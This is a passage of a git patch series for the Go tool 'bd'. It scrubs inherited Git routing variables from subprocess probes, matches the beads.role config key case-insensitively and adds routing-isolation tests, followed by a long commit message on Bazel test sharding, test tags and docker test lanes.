entries a child process would treat as these two + // variables -- an independent fold here would diverge from that rule. + // ToUpper is not that rule; the two disagree in both directions for + // non-ASCII keys on Windows: ToUpper leaves GİT_OPTIONAL_LOCKS unmatched + // although Git honors it, and folds GIT_OPTIONAL_LOCKſ onto the literal + // although os/exec keeps it distinct. key := worktreeGitEnvKey(entry) - // Key identity is the subprocess lookup rule (execenv), not ToUpper. - // The two disagree in both directions for non-ASCII keys on Windows: - // ToUpper leaves GİT_OPTIONAL_LOCKS unmatched although Git honors it, - // and folds GIT_OPTIONAL_LOCKſ onto the literal although os/exec keeps - // it distinct. if execenv.KeyEqualForOS(key, "GIT_NO_REPLACE_OBJECTS", goos) || execenv.KeyEqualForOS(key, "GIT_OPTIONAL_LOCKS", goos) { continue diff --git a/docs/reference/worktrees.md b/docs/reference/worktrees.md index 2adc406ee..03d63a352 100644 --- a/docs/reference/worktrees.md +++ b/docs/reference/worktrees.md @@ -15,15 +15,21 @@ override discovery with `BEADS_DIR`. Startup *config* discovery — the `rev-parse` probe in `internal/config`'s `gitDirsForRepo`, which locates a linked worktree's shared `.beads` config — scrubs inherited Git routing variables such as `GIT_DIR` and `GIT_WORK_TREE` -from its subprocess environment whenever it runs. The scrub is unconditional for -that probe, but the probe is a fallback, not a per-command step: it runs only -when nothing earlier in startup has already resolved a config path -(`internal/config/config.go`), so an ancestor `.beads/config.yaml` or an -explicit `BEADS_DIR` short-circuits it. Other startup Git probes still honor -inherited routing, including `internal/git`'s process-cached repository context -and the `.beads` database discovery probes in `internal/beads`, so those -variables can still select which workspace `bd` opens. Clearing those variables -from the `bd` process environment applies only to `bd worktree` commands. +from its subprocess environment whenever it runs, so a routed environment cannot +point that one lookup at another repository. The scrub is unconditional for that +probe, but the probe is a fallback, not a per-command step: it runs only when +nothing earlier in startup has already resolved a config path +(`internal/config/config.go`), so an ancestor `.beads/config.yaml` or an explicit +`BEADS_DIR` short-circuits it. It is a single probe, not a general guarantee: +other startup Git probes still honor inherited routing, including `internal/git`'s +process-cached repository context backing repository-root and hooks-directory +lookups and the `.beads` database discovery probes in `internal/beads`, so those +variables can still select which workspace `bd` opens. Scrubbing also drops any +inherited `GIT_CEILING_DIRECTORIES`, which *widens* upward discovery rather than +narrowing it: the explicit working directory fixes where that probe's search +starts, not where it stops, so the probe can select a containing parent +repository above that directory. Clearing those variables from the `bd` process +environment applies only to `bd worktree` commands. `GIT_CEILING_DIRECTORIES` is scrubbed along with the redirects. That removes a *bound* rather than a redirect, so discovery from the working directory is diff --git a/internal/config/config.go b/internal/config/config.go index d3c0a12a9..f6d5379f6 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -436,7 +436,13 @@ func gitDirsForRepo(repoPath string) (gitDir, commonDir string, ok bool) { cmd := exec.Command("git", "-C", repoPath, "rev-parse", "--git-dir", "--git-common-dir") // repoPath is the authority for this probe. Inherited Git routing such as // GIT_DIR overrides -C and can make startup read another repository's - // shared-worktree config before command dispatch has begun. + // shared-worktree config before command dispatch has begun. Scrubbing also + // drops an inherited GIT_CEILING_DIRECTORIES, which widens rather than + // narrows discovery: -C repoPath fixes where the search starts, not where it + // stops, so dropping discovery ceilings can select a containing parent + // repository above repoPath. That is the intended trade, and it applies here + // too -- repoPath is the process working directory, not a proven repository + // root. cmd.Env = gitenv.ScrubRouting(os.Environ()) output, err := cmd.Output() if err != nil { diff --git a/internal/config/git_routing_test.go b/internal/config/git_routing_test.go index 2f56defa7..e2b6fb59c 100644 --- a/internal/config/git_routing_test.go +++ b/internal/config/git_routing_test.go @@ -129,6 +129,56 @@ func TestSecretGitTrackingIgnoresInheritedGitRouting(t *testing.T) { } } +// A checkout reachable only through inherited Git routing is the case a +// scrubbed-only probe cannot see at all: it finds no repository, reports +// "untracked", and the fail-open guard writes the secret into a tracked +// config.yaml. The inherited fallback is what keeps the refusal working there. +func TestSecretGitTrackingHonorsLegitimateGitRouting(t *testing.T) { + gitDir, work := t.TempDir(), t.TempDir() + routedGit := func(args ...string) { + t.Helper() + cmd := exec.Command("git", args...) + cmd.Dir = work + cmd.Env = append(gitenv.ScrubRouting(os.Environ()), "GIT_DIR="+gitDir, "GIT_WORK_TREE="+work) + if output, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("routed git %v: %v\n%s", args, err, output) + } + } + routedGit("init", "--quiet") + tracked := filepath.Join(work, "config.yaml") + untracked := filepath.Join(work, "untracked.yaml") + for _, path := range []string{tracked, untracked} { + if err := os.WriteFile(path, []byte("json: false\n"), 0o600); err != nil { + t.Fatal(err) + } + } + routedGit("add", "--", tracked) + + // The work tree holds no .git entry, so the scrubbed probe must fail here. + // Without this precondition the inherited fallback could pass vacuously. + scrubbed := exec.Command("git", "ls-files", "--error-unmatch", tracked) + scrubbed.Dir = work + scrubbed.Env = gitenv.ScrubRouting(os.Environ()) + if scrubbed.Run() == nil { + t.Fatal("scrubbed probe already resolves the routed checkout; fixture proves nothing") + } + + t.Setenv("GIT_DIR", gitDir) + t.Setenv("GIT_WORK_TREE", work) + if !isGitTracked(tracked) { + t.Error("legitimate routing hid the tracked file from the secret guard") + } + if isGitTracked(untracked) { + t.Error("untracked file reported as tracked") + } + if err := checkSecretGitTracked(tracked, "linear.api_key"); err == nil || !strings.Contains(err.Error(), "refusing to write secret key") { + t.Errorf("tracked secret refusal = %v", err) + } + if err := checkSecretGitTracked(untracked, "linear.api_key"); err != nil { + t.Errorf("untracked secret refused: %v", err) + } +} + // A bare repository whose work tree is named only by GIT_DIR/GIT_WORK_TREE is // invisible to the scrubbed probe — it is reachable through the inherited // routing alone. The secret guard must still refuse a write into the tracked diff --git a/internal/git/gitdir.go b/internal/git/gitdir.go index 5e1825f75..681b2c035 100644 --- a/internal/git/gitdir.go +++ b/internal/git/gitdir.go @@ -120,6 +120,30 @@ type HooksContext struct { HooksDir, CommonDir, RepoRoot, MainRepoRoot string } +// normalizeHooksWorkDir anchors workDir and normalizes its symlinks and case +// once. Every HooksContext producer shares it so they cannot drift into emitting +// different spellings of the same directory: worktree code string-compares these +// paths (GH#880). +// The caller-supplied directory must resolve before it can select a repo: +// unlike the discovered repoRoot spelling in loadGitContext, it is an input +// to Git. +func normalizeHooksWorkDir(workDir string) (string, error) { + workDir, err := filepath.Abs(workDir) + if err != nil { + return "", err + } + // This caller-supplied directory must resolve before it can select a repo. + // Unlike the discovered repoRoot spelling, it is an input to Git. + workDir, err = filepath.EvalSymlinks(workDir) + if err != nil { + return "", fmt.Errorf("resolve hooks working directory: %w", err) + } + if canonical := canonicalizeCase(workDir); canonical != "" { + workDir = canonical + } + return workDir, nil +} + // ResolveHooksContext reads fresh paths without changing the legacy cache. // workDir must be nonempty and is anchored and symlink/case-normalized once; // bare/non-repositories error. Configured absolute hook paths retain their spelling. @@ -132,26 +156,15 @@ type HooksContext struct { // // This is the explicit-context sibling of GetGitHooksDir. It returns a struct // instead of following this file's GetXFrom(startDir) convention because all -// four paths must come from one resolution of one directory. The first in-repo -// caller arrives with GH#6440, so at this commit only tests exercise the -// contract above. +// four paths must come from one resolution of one directory. func ResolveHooksContext(workDir string, env []string) (HooksContext, error) { if workDir == "" { return HooksContext{}, fmt.Errorf("hooks context requires a working directory") } - workDir, err := filepath.Abs(workDir) + workDir, err := normalizeHooksWorkDir(workDir) if err != nil { return HooksContext{}, err } - // This caller-supplied directory must resolve before it can select a repo. - // Unlike the discovered repoRoot spelling above, it is an input to Git. - workDir, err = filepath.EvalSymlinks(workDir) - if err != nil { - return HooksContext{}, fmt.Errorf("resolve hooks working directory: %w", err) - } - if canonical := canonicalizeCase(workDir); canonical != "" { - workDir = canonical - } ctx := loadGitContext(workDir, env) if ctx.err != nil { return HooksContext{}, ctx.err @@ -166,6 +179,58 @@ func ResolveHooksContext(workDir string, env []string) (HooksContext, error) { RepoRoot: ctx.repoRoot, MainRepoRoot: ctx.mainRepoRoot()}, nil } +// ResolveWorkTreelessHooksContext resolves hook paths for a repository whose +// common directory resolves but whose work tree does not: a bare repository, or +// a directory such as a repository's own .git that Git answers from while +// reporting no work tree. ResolveHooksContext requires one, because it cannot +// honor its RepoRoot contract without it; this is the explicit counterpart, so a +// caller opts into the weaker shape instead of silently receiving one. RepoRoot +// and MainRepoRoot are empty — there is no work-tree root — and a relative +// core.hooksPath is anchored to the common directory, which is where Git runs +// hooks without a work tree. +// It fails for non-repositories and for directories inside a work tree alike, so +// callers can use it as a fallback after ResolveHooksContext without widening +// that call's failure contract. workDir and env are handled exactly as +// ResolveHooksContext handles them, anchoring and normalization included. +func ResolveWorkTreelessHooksContext(workDir string, env []string) (HooksContext, error) { + if workDir == "" { + return HooksContext{}, fmt.Errorf("hooks context requires a working directory") + } + workDir, err := normalizeHooksWorkDir(workDir) + if err != nil { + return HooksContext{}, err + } + probe := exec.Command("git", "rev-parse", "--is-inside-work-tree", "--git-common-dir") + probe.Dir, probe.Env = workDir, env + output, err := probe.Output() + if err != nil { + return HooksContext{}, fmt.Errorf("resolve work-tree-less Git repository: %w", err) + } + lines := strings.Split(strings.TrimSpace(string(output)), "\n") + if len(lines) < 2 { + return HooksContext{}, fmt.Errorf("unexpected git rev-parse output: got %d lines, expected 2", len(lines)) + } + // A work tree resolves here, so ResolveHooksContext's stronger contract is + // the one that applies and its error is the one the caller should surface. + if strings.TrimSpace(lines[0]) == "true" { + return HooksContext{}, fmt.Errorf("%s is inside a Git work tree", workDir) + } + commonDir, err := absoluteGitPath(workDir, strings.TrimSpace(lines[1])) + if err != nil { + return HooksContext{}, fmt.Errorf("failed to resolve common dir path: %w", err) + } + cmd := exec.Command("git", "config", "--get", "core.hooksPath") + cmd.Dir, cmd.Env = workDir, env + // Without a work tree Git runs hooks in the common directory, so it anchors a + // relative core.hooksPath in place of the absent work-tree root. + ctx := gitContext{gitDirRaw: commonDir, commonDir: commonDir, repoRoot: commonDir} + hooksDir, err := gitHooksDir(cmd, func() (*gitContext, error) { return &ctx, nil }) + if err != nil { + return HooksContext{}, err + } + return HooksContext{HooksDir: hooksDir, CommonDir: commonDir}, nil +} + // getGitContext returns the cached git context, initializing it if needed. func getGitContext() (*gitContext, error) { gitCtxOnce.Do(initGitContext) diff --git a/internal/gitenv/routing.go b/internal/gitenv/routing.go index 44951645e..c54cf25a8 100644 --- a/internal/gitenv/routing.go +++ b/internal/gitenv/routing.go @@ -59,7 +59,10 @@ func EntryKey(entry string) string { // repository the caller is standing in, which is the same loss of working- // directory authority. Removing it therefore widens the upward search as well, // so a caller whose working directory is not itself a repository can resolve a -// containing one. +// containing one. That is the intended trade, and pinning an explicit working +// directory does not opt out of it: -C or cmd.Dir fixes where the search +// starts, not where it stops, so once the ceiling is gone the walk above that +// directory is unbounded. func IsRoutingKeyForOS(key, goos string) bool { keys := routingKeys prefix := "GIT_CONFIG" diff --git a/internal/storage/domain/git/git.go b/internal/storage/domain/git/git.go index 2cbc4a9fa..145bb0488 100644 --- a/internal/storage/domain/git/git.go +++ b/internal/storage/domain/git/git.go @@ -129,7 +129,13 @@ func (r *gitRepositoryImpl) GetConfig(ctx context.Context, key string) (string, return "", false, fmt.Errorf("git: GetConfig: key must not be empty") } cmd := r.gitCmd(ctx, "config", "--get", key) - if key == domain.BeadsRoleConfigKey { + // Git config key names are case-insensitive, so match its rule: a caller + // spelling "Beads.Role" reads the same key and must take the same + // role-authority environment, not slip through on the inherited one. ToLower + // rather than EqualFold, following execenv.keyIdentityForWindows: EqualFold + // also collapses Unicode near-collisions such as s and ſ, while git folds + // ASCII only and rejects beadſ.role as an invalid key. + if strings.ToLower(key) == domain.BeadsRoleConfigKey { cmd.Env = r.roleAuthorityEnv() } out, err := cmd.Output() @@ -156,7 +162,10 @@ func (r *gitRepositoryImpl) SetConfig(ctx context.Context, key, value string) er return fmt.Errorf("git: SetConfig: key must not be empty") } cmd := r.gitCmd(ctx, "config", key, value) - if key == domain.BeadsRoleConfigKey { + // Case-insensitive for the same reason as GetConfig, and with the same + // ToLower rule: git resolves key names case-insensitively over ASCII, so + // every spelling must take the role-authority environment. + if strings.ToLower(key) == domain.BeadsRoleConfigKey { cmd.Env = r.roleAuthorityEnv() } out, err := cmd.CombinedOutput() diff --git a/internal/storage/domain/git/git_test.go b/internal/storage/domain/git/git_test.go index 87a719a26..5d5c1bb85 100644 --- a/internal/storage/domain/git/git_test.go +++ b/internal/storage/domain/git/git_test.go @@ -116,20 +116,40 @@ func (s *testSuite) TestConfig_ReadFailuresAreNotMissing() { s.Require().NoError(roleErr) s.False(found) } - if tc.name == "invalid_routing_boolean" { - // The same poison that fails the read above cannot reach beads.role, - // which resolves as absent rather than as a preserved read failure. - role, roleFound, roleErr := s.repo.GetConfig(s.Ctx(), "beads.role") - s.Require().NoError(roleErr) - s.False(roleFound) - s.Empty(role) - _, _, useCaseErr := domain.NewGitUseCase(s.tmpDir, s.repo).BeadsRole(s.Ctx()) - s.Require().NoError(useCaseErr) - } }) } } +// TestConfig_ReadFailuresAreNotMissing's "invalid_routing_boolean" row used to +// poison GIT_CONFIG_NOSYSTEM and expect the beads.role read to fail. beads.role +// reads now scrub inherited suppression, so that poison never reaches git for +// this key; that row therefore reads a key which still inherits it (core.bare) +// and asserts the role read's immunity alongside. This test covers the half that +// row cannot: under the same poison, the role read returns the value it was +// given rather than merely resolving as absent. +func (s *testSuite) TestConfig_BeadsRoleScrubsInheritedRoutingEnv() { + s.gitInit() + s.Require().NoError(s.repo.SetConfig(s.Ctx(), "beads.role", "maintainer")) + s.T().Setenv("GIT_CONFIG_NOSYSTEM", "not-a-boolean") + + // beads.role is read with routing scrubbed, so the poisoned value is gone + // before git parses its environment. + value, found, err := s.repo.GetConfig(s.Ctx(), "beads.role") + s.Require().NoError(err) + s.True(found) + s.Equal("maintainer", value) + + // Keys outside that scrub keep the inherited environment, so the same poison + // still surfaces as a read error rather than as an absent key. + value, found, err = s.repo.GetConfig(s.Ctx(), "user.name") + s.Require().Error(err) + s.False(found) + s.Empty(value) + var exitErr *exec.ExitError + s.Require().ErrorAs(err, &exitErr) + s.Equal(128, exitErr.ExitCode()) +} + // Regression guard: pre-canceled contexts already propagated before the config fix. func (s *testSuite) TestConfig_CancellationIsNotMissing() { ctx, cancel := context.WithCancel(s.Ctx()) @@ -402,6 +422,56 @@ func TestRoleConfigIgnoresInheritedGitRouting(t *testing.T) { } } +// TestRoleConfigKeySpellingTakesScrubbedPath pins the case-insensitive key +// match. Git resolves config key names case-insensitively, so every spelling of +// beads.role must take the scrubbed path; a byte-exact compare would let +// "Beads.Role" read and write whichever repository inherited routing selects. +func TestRoleConfigKeySpellingTakesScrubbedPath(t *testing.T) { + for _, entry := range os.Environ() { + key := gitenv.EntryKey(entry) + if gitenv.IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, "") + require.NoError(t, os.Unsetenv(key)) + } + } + home := t.TempDir() + for _, key := range []string{"HOME", "USERPROFILE", "XDG_CONFIG_HOME"} { + t.Setenv(key, home) + } + runGit := func(t *testing.T, dir string, args ...string) string { + t.Helper() + cmd := exec.Command("git", args...) + cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) + out, err := cmd.CombinedOutput() + require.NoError(t, err, "fixture git %v: %s", args, out) + return strings.TrimSpace(string(out)) + } + // The canonical spelling is the control: it takes the scrubbed path under + // either comparator, so it proves the fixture routes as intended rather than + // the assertions passing vacuously. + for _, key := range []string{"beads.role", "Beads.Role", "BEADS.ROLE"} { + t.Run(key, func(t *testing.T) { + target, decoy := t.TempDir(), t.TempDir() + for _, dir := range []string{target, decoy} { + runGit(t, dir, "init", "--quiet") + } + runGit(t, target, "config", "--local", "beads.role", "target-role") + runGit(t, decoy, "config", "--local", "beads.role", "decoy-role") + t.Setenv("GIT_DIR", filepath.Join(decoy, ".git")) + t.Setenv("GIT_WORK_TREE", decoy) + repo := NewGitRepository(target) + got, found, err := repo.GetConfig(t.Context(), key) + require.NoError(t, err) + require.True(t, found) + require.Equal(t, "target-role", got, "%s read through inherited routing", key) + require.NoError(t, repo.SetConfig(t.Context(), key, "written-role")) + require.Equal(t, "written-role", runGit(t, target, "config", "--local", "--get", "beads.role")) + require.Equal(t, "decoy-role", runGit(t, decoy, "config", "--local", "--get", "beads.role"), + "%s write escaped to the inherited repository", key) + }) + } +} + func TestInitGitRepositoryUsesSelectedDirectory(t *testing.T) { for _, entry := range os.Environ() { key := gitenv.EntryKey(entry) @@ -473,12 +543,18 @@ func TestInitGitRepositoryUsesSelectedDirectory(t *testing.T) { for _, key := range []string{"HOME", "USERPROFILE", "XDG_CONFIG_HOME"} { t.Setenv(key, changedHome) } + // gastownhall/beads#6477 made the reader propagate Git's exit + // error instead of mapping it to absence, so the generic + // constructor now surfaces the changed HOME's broken .gitconfig + // rather than reporting the key missing. changedHome is the only + // HOME here holding a .gitconfig, so Git's refusal to parse that + // file is itself the proof that generic role reads still use the + // current caller environment rather than a captured one. role, found, err := inherited.GetConfig(t.Context(), "beads.role") - // changedHome is the only HOME here holding a .gitconfig, so Git's - // refusal to parse that file is what proves the generic reader used - // the current caller environment rather than a captured one. The - // reader surfaces such read failures instead of reporting absence. require.Error(t, err, "generic role reads still use the current caller environment") + var inheritedExit *exec.ExitError + require.ErrorAs(t, err, &inheritedExit) + require.Equal(t, 128, inheritedExit.ExitCode()) require.ErrorContains(t, err, ".gitconfig") require.False(t, found) require.Empty(t, role) From ae1a493e0198b48b45d05df5eb964dec2cf50263 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sun, 27 Sep 2026 20:19:38 -0700 Subject: [PATCH 168/624] test(bazel): fully green //..., tag taxonomy + docker lane, sharding, test sandbox ceiling (#6871) * fix(doctor): detect test binaries with testing.Testing(), not the file name getBdBinary refuses to return a test binary as "bd" so fix tests cannot fork-bomb by re-running themselves. The guard matched only the `go test` naming (.test). Bazel names test binaries _test, so under `bazel test` every fix that shells out to bd re-ran the whole fix_test suite, recursively (~60 levels), until the 300s timeout. testing.Testing() is true for any binary linked as a test by `go test` or rules_go (both set testing.testBinary=1), whatever its name. The name check stays as a fallback. bd already links package testing, so the product binary gains no dependency. Behavior under `go test` is unchanged. Co-Authored-By: Claude Opus 5.5 (1M context) * test(bazel): tag taxonomy, docker lane, and green //scripts targets (slice B5) `bazel test //... --config=ci` is now fully green, locally and with --config=remote-exec. - scripts_test declares what it reads and runs: this package's own tree (:scripts_files), .github/** (//:workflow_files, widened from the workflows), and .buildflags/.test-skip for scripts/test.sh. The complexity diff test builds a one-commit git fixture instead of git-archiving the real checkout's HEAD. Under Bazel it skips the whole-repo testing.Short() scan (it would pass vacuously over the runfiles) and the two release formula tests (.beads is in .bazelignore). Tagged host-tools + no-remote-exec: it runs the host's git/python3/coreutils and some subtests skip without git. - prlintmake_test resolves fmt-check.sh through bazeltest.CallerDir and declares it; it needs only bash (gofmt is shimmed), so it stays untagged and runs remotely. - //cmd/bd/doctor/fix:fix_docker_test reruns the fix_test binary (no second compile, tools/bazel/go_test_variant.sh) with BEADS_FIX_REQUIRE_DOLT=1, like pr.yml's container-backed doctor/fix job. Tagged requires-docker + no-remote-exec; `--config=docker` selects it (race, no -short, no BEADS_TEST_SKIP=dolt). fix_test itself stays untagged: under prcore it skips the Dolt-backed tests exactly as pr-core's `go test` does. - scripts/bazel_policy_test.go: every BUILD `tags` value must be in the taxonomy, be named in the comment above its rule, and host-bound tags must come with no-remote-exec; test:prcore must exclude requires-docker, embedded and manual. Co-Authored-By: Claude Opus 5.5 (1M context) * test(bd): reset git's cwd cache in TestContextRoutesNameOneWorkspaceTheSameWay The test chdirs into a fresh git repo but reset only beads' caches. git caches the cwd's repository context process-wide, so when an earlier test in the same process had resolved it from a non-repo directory (for example TestCollectMetadataEntriesNoBeadsDir), GetMainRepoRoot kept answering "not a git repository". Test order hid it under `go test ./cmd/bd`; Bazel sharding reorders tests and exposed it. Reproduces with plain go test: go test -run '^(TestCollectMetadataEntriesNoBeadsDir|TestContextRoutesNameOneWorkspaceTheSameWay)$' ./cmd/bd The cache is reset on entry only. Resetting it again in cleanup changes what later tests inherit, and TestCreateRemoteRepoSkipsLocalDatabaseGuard (which never resets it) then fails under the unsharded go test order. Co-Authored-By: Claude Opus 5.5 (1M context) * test(bazel): shard bd_test and embeddeddolt_test; keep test re-execs shard-free (slice B6) - //cmd/bd:bd_test shard_count = 16, //internal/storage/embeddeddolt: embeddeddolt_test shard_count = 8. Remote -race under --config=ci: bd_test max shard 61-82s (unsharded 252-264s), embeddeddolt max shard 84-122s (unsharded 207-377s). The embeddeddolt max is a single test (TestWithPeerAuth, ~93s), so more shards would not lower it. Every shard runs tests (bd 161-172 top-level tests each, embeddeddolt 15-20). protocol (4s), legacysqlite (4s) and dbproxy/server (22s) stay unsharded. - Tests that re-exec their own binary now pass bazeltest.ShardFreeEnv (a no-op under go test), so a helper child does not inherit TEST_SHARD_INDEX/TEST_TOTAL_SHARDS/TEST_SHARD_STATUS_FILE and filter away the one test it was asked to run: dolt suite_leak_linux, dbproxy force_stop_linux, workspacegate (3 helpers), metrics spawn_reap, bd worktree_remove, conformance role_bundle, linear synclock (windows). scripts/test_script_test.go (child env built from scratch) and repro-dolt-prod-timeouts (copies the binary, never runs it) need nothing. Co-Authored-By: Claude Opus 5.5 (1M context) * test(bazel): keep sharded bd_test off ~/.beads and keep its stdio leak guard Two things sharding //cmd/bd:bd_test exposed: - config.Initialize walks up from the test's cwd for .beads/config.yaml and, under BEADS_TEST_IGNORE_REPO_CONFIG, stops at the module root (go.mod). The runfiles tree had no go.mod, so the walk left it; with the output base under $HOME it loaded the developer's ~/.beads/config.yaml (here dolt.shared-server: true) and two embedded-mode autocommit tests failed locally, though not on remote workers. bd_test now declares //:go.mod, so the walk stops at the runfiles root as it stops at the checkout under go test. Unsharded runs hid this: an earlier test re-initialized config first. - TestZZStdioNotLeaked skipped in every shard, because the baseline test is always in shard 1 and the guard in another. Without a baseline it now checks the descriptors instead (a leaked capture leaves a pipe where fd 1 or 2 was). Under go test the baseline is always captured, so nothing changes there. Co-Authored-By: Claude Opus 5.5 (1M context) * chore(bazel): sync BUILD files with test files added on main Gazelle picks up cmd/bd and internal/notion tests that landed on main after the last sync (make bazel-sync). Co-Authored-By: Claude Opus 5.5 (1M context) * fix(discovery): add BEADS_CEILING_DIRECTORIES; bound bazel tests' walks bd finds its workspace by walking up from the working directory for .beads and .beads/config.yaml. Under `bazel test` the working directory is in the runfiles tree under the output base, usually below the developer's HOME, so the walks left the sandbox: tests read the developer's ~/.beads/config.yaml (results depended on it) and wrote into ~/.beads (interactions.jsonl from the audit log, .local_version from version tracking). BEADS_CEILING_DIRECTORIES takes git's GIT_CEILING_DIRECTORIES form (a PATH- style list of absolute directories): a search starting inside a ceiling never examines the ceiling or anything above it; the start itself is always examined. Unset, nothing changes. Honored by every upward .beads/config search: beads.AncestorDirWalk (all FindBeadsDir walks), config.Initialize (the go.mod and config.yaml walks, and the worktree-fallback git probe, whose routing scrub drops GIT_CEILING_DIRECTORIES), findProjectBeadsDir, the legacy upgrade guard, the --db beads-dir walk, store reopen and findBeadsRepoRoot. The migration-freeze marker walk is left alone on purpose: it is a write safety gate, and BD_MIGRATION_FREEZE_FILE is already its explicit override. tools/bazel/test_env.sh sets BEADS_CEILING_DIRECTORIES and GIT_CEILING_DIRECTORIES to the runfiles root, TEST_TMPDIR and its own temp root. It does not fail on an ancestor .beads: a live ~/.beads above the output base is normal on a developer machine. bd_test no longer needs //:go.mod as a walk stop. Canary check: with an invalid-YAML .beads above a scratch --output_base, compact, issueops, validation and bd_test pass under --config=ci and nothing is written there; the previous wrapper fails on it and writes interactions.jsonl into it. Co-Authored-By: Claude Opus 5.5 (1M context) * test(bd): check for leaked stdio after m.Run in every process TestZZStdioNotLeaked only sees the tests that ran before it in the same process. Under Bazel's 16-way sharding that is ~1/16 of bd_test: the baseline test is in shard 1, the guard in another shard, and leaks in the other shards were never checked. TestMain now compares os.Stdout/os.Stderr after m.Run with the streams from before it (runTestsAndSweep, so every shard and every go test run) and fails the process on a leak. The one allowed change is the framework's own os.Stderr = os.Stdout under -json. TestZZStdioNotLeaked stays for its go test report and skips when it has no baseline; the descriptor fallback added for sharding is gone. Verified: a test that leaks os.Stdout fails `go test -run` for it alone, with and without -json; a clean -json run passes. Co-Authored-By: Claude Opus 5.5 (1M context) * test(bazel): keep host-tools results out of the remote cache; tighten tag policy - //scripts:scripts_test (host-tools, no-remote-exec) ran locally but its result was still uploaded to the remote cache and served to other clients, though the action key does not cover the host's git/python3/bash. It is now also tagged no-remote-cache (neither read nor uploaded). Checked: after a --config=remote-exec run and `bazel clean`, a rerun without the disk cache executes the test again instead of taking a remote cache hit. - Under Bazel a missing git or bash now fails those tests instead of skipping (the host-tools tag promises them); under go test they still skip. - Tag policy: host-tools requires no-remote-exec and no-remote-cache; `tags = [...] + X` is rejected as non-literal; every --test_tag_filters set by test:prcore or a config that expands it (test:ci, transitively) must exclude requires-docker/embedded/manual, not only the first prcore line. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(bazel): run go_test variants from their package directory rules_go gives a go_test GO_TEST_RUN_FROM_BAZEL=1 (and its `env`) through RunEnvironmentInfo; an sh_test that reruns the binary gets neither, so the binary skipped its chdir into the package directory and ran from the runfiles root. go_test_variant.sh now exports GO_TEST_RUN_FROM_BAZEL=1, and its header says the variant target must repeat the go_test's `env`. Co-Authored-By: Claude Opus 5.5 (1M context) * test(bazel): docker-lane variants for domain/db, uow and protocol --config=docker only ran doctor/fix. pr.yml's container jobs also run internal/storage/domain/... + uow/... (race, no -short, Dolt image pulled) and cmd/bd/protocol (BEADS_PROTOCOL_REQUIRE_DOLT=1). Under --config=ci those container suites skip (BEADS_TEST_SKIP=dolt), so without variants their coverage would vanish if Bazel replaced those jobs. - testutil: BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 makes RequireDoltContainer and StartIsolatedDoltContainer(Handle) fail instead of skip when the Dolt container is unavailable (the generic form of BEADS_FIX_REQUIRE_DOLT). - db_docker_test, uow_docker_test (4 shards) and protocol_docker_test (8 shards, BEADS_PROTOCOL_REQUIRE_DOLT=1) rerun the go_test binaries via go_test_variant.sh, repeating their `env`; tagged requires-docker + no-remote-exec. The other domain/tracker packages have no container tests and already run under --config=ci. `bazel test //... --config=docker --test_arg=-test.v`: 4/4 PASS; db 908 PASS / 0 SKIP, uow 985 PASS / 32 SKIP (conformance capabilities the backend does not implement, as under go test), protocol 151 PASS / 2 SKIP (tracked known gaps). With --test_env=BEADS_TEST_SKIP=dolt, db_docker_test fails. Co-Authored-By: Claude Opus 5.5 (1M context) * test: shard-free env for the embeddeddolt concurrency helper; 2m bd init timeout - concurrency_test re-execs its test binary with -test.run=^TestHelperProcess$ inside the now-sharded embeddeddolt_test; pass bazeltest.ShardFreeEnv so a child cannot inherit TEST_SHARD_* and filter its one test away (it is gated by BEADS_TEST_EMBEDDED_DOLT=1, so dark today). - initBeadsWorkspace / runBDStdout (TestClose_UpdatesLastTouched and the gemini prime hook tests) allowed 30s per bd subprocess. A -race bd on a loaded host exceeded that for a single `bd init` (killed at 30.18s in 1 of 3 sharded remote runs; the whole test otherwise passes in ~21s), so allow 2 minutes. Co-Authored-By: Claude Opus 5.5 (1M context) * test(bd): give TestCreateRemoteRepoSkipsLocalDatabaseGuard its own git state The test chdirs into a fresh non-repo temp dir but used whatever git/beads cwd caches earlier tests left. When an earlier test had reset git's cache and a later one refilled it from the package directory, workspace discovery in the test returned the checkout's .beads (from a git worktree: the MAIN checkout's live .beads via the worktree fallback) and `bd create` tried to open it, so it failed with "could not verify workspace identity" instead of the expected downstream error. It passed only on stale state (a cache pointing at a deleted temp repo). It now resets the git and beads caches after its chdir and again in cleanup, so it neither depends on nor leaks cwd state. With that fixed, TestContextRoutesNameOneWorkspaceTheSameWay also resets git's cache in cleanup. Reproduced with the context-test cleanup reset in place, running every cmd/bd test declared up to this one (the failing go test order); now passes there, alone, with the two context tests, and under -shuffle seeds 1-5 (other pre-existing order dependencies show up under shuffle; this test is not among them). Co-Authored-By: Claude Opus 5.5 (1M context) * build(bazel): re-sync BUILD files with main Co-Authored-By: Claude Opus 5.5 (1M context) * test(bazel): pin BD_MIGRATION_FREEZE_FILE in test_env The freeze-marker ancestor walk is intentionally not ceiling-bounded; an explicit BD_MIGRATION_FREEZE_FILE replaces the walk, so a MIGRATION-FREEZE above the output base can no longer change test results. Co-Authored-By: Claude Opus 5.5 (1M context) * test(scripts): give the complexity diff fixture a Go package complexity.sh expands "${analyzer_paths[@]}" under set -u; with an empty fixture tree that is an unbound-variable error on bash 3.2 (macOS runners). Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 10 + BUILD.bazel | 18 +- backend/conformance/role_bundle_test.go | 2 +- cmd/bd/BUILD.bazel | 13 +- cmd/bd/close_last_touched_test.go | 3 +- cmd/bd/config.go | 4 +- cmd/bd/context_identity_test.go | 6 + cmd/bd/create_repo_remote_url_preprun_test.go | 15 ++ cmd/bd/doctor/BUILD.bazel | 2 + cmd/bd/doctor/fix/BUILD.bazel | 25 ++ cmd/bd/doctor/fix/common.go | 18 +- cmd/bd/doctor/fix/e2e_test.go | 15 ++ cmd/bd/legacy_upgrade_guard.go | 5 + cmd/bd/main.go | 4 +- cmd/bd/prime_gemini_hook_test.go | 3 +- cmd/bd/protocol/BUILD.bazel | 32 +++ cmd/bd/store_reopen.go | 4 +- cmd/bd/test_repo_beads_guard_test.go | 2 + cmd/bd/worktree_remove_test.go | 4 +- cmd/bd/zz_stdio_leak_guard_test.go | 36 ++- docs/reference/configuration.md | 1 + internal/beads/BUILD.bazel | 4 + internal/beads/beads.go | 16 +- internal/beads/beads_test.go | 32 ++- 